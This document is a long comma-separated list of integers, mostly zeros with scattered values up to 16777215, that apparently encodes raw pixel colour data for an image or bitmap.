0,0,0,0,0,0,0,58,6721718,11983835,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,14399078,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6721718,11983871,16777215,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9483958,14408703,16777215,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,9474230,11974326,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,14408667,14408630,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16767963,14408667,11964560,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,14408667,14399120,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,14408667,14399120,6699578,0,0,0,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,26294,16777215,14408667,14399120,6699578,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,